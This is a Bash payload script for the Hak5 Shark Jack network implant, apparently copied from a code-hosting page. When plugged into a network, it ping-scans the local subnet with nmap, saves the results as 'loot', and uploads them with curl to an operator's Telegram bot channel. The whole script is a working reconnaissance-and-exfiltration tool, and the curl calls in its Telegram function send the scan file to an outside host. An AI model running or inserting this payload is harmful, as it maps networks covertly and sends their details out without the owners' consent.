108 lines
2.4 KiB
Bash
108 lines
2.4 KiB
Bash
#!/bin/bash
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#
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# Title: Nmap Payload with Telegram exfiltration
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# Author: F3l1nux (Based on the orignial Hak5 sample payload and SLAP-Nmap-to-Slack (Deviant))
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# Version: 1.0
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#
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# Scans target subnet with Nmap using specified options. Saves each scan result
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# to loot storage folder and then uploads it to Telegram to a channel of your choice.
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#
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# This payload requires you to install curl via opkg and have a Telegram token generated.
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# You should also specify the channel... For this example the channel name is just 'shark'.
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# There's also a Danganronpa reference in this script.. That's important to mention.
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#
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# Red ...........Setup
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# Amber..........Scanning
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# Green..........Finished
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#
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# See nmap --help for options. Default "-sP" ping scans the address space for
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# fast host discovery.
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NMAP_OPTIONS="-sP"
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LOOT_DIR=/root/loot/nmap
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SCAN_DIR=/etc/shark/nmap
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TOKEN="YOUR TOKEN ID"
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ID_CHANEL="ID YOUR CHANEL"
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MENSAJE="A network has been discovered!"
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URL="https://api.telegram.org/bot$TOKEN/sendMessage"
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URL_FILE="https://api.telegram.org/bot$TOKEN/sendDocument"
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function finish() {
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LED CLEANUP
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# Kill Nmap
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wait $1
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kill $1 &> /dev/null
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# Sync filesystem
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echo $SCAN_M > $SCAN_FILE
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sync
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sleep 1
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# Upload the loot to Telegram
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Telegram
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sleep 1
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LED FINISH
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sleep 1
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}
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function setup() {
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LED SETUP
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# Create loot directory
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mkdir -p $LOOT_DIR &> /dev/null
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# Set NETMODE to DHCP_CLIENT for Shark Jack v1.1.0+
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NETMODE DHCP_CLIENT
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# Wait for an IP address to be obtained
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while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
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# Create tmp scan directory
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mkdir -p $SCAN_DIR &> /dev/null
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# Create tmp scan file if it doesn't exist
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SCAN_FILE=$SCAN_DIR/scan-count
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if [ ! -f $SCAN_FILE ]; then
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touch $SCAN_FILE && echo 0 > $SCAN_FILE
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fi
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# Find IP address and subnet
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while [ -z "$SUBNET" ]; do
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sleep 1 && find_subnet
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done
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}
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function find_subnet() {
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SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
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}
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function run() {
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# Run setup
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setup
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# Preflight NMAP
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SCAN_N=$(cat $SCAN_FILE)
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SCAN_M=$(( $SCAN_N + 1 ))
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LED ATTACK
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# Start scan
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nmap $NMAP_OPTIONS $SUBNET -oN $LOOT_DIR/nmap-scan_$SCAN_M.txt &>/dev/null &
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tpid=$!
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finish $tpid
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}
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function Telegram() {
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# Curl magic
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curl -s -X POST $URL -d chat_id=$ID_CHANEL -d text="$MENSAJE"
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curl -v -F "chat_id=$ID_CHANEL" -F document=@$LOOT_DIR/nmap-scan_$SCAN_M.txt $URL_FILE
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}
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# Run payload
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run &
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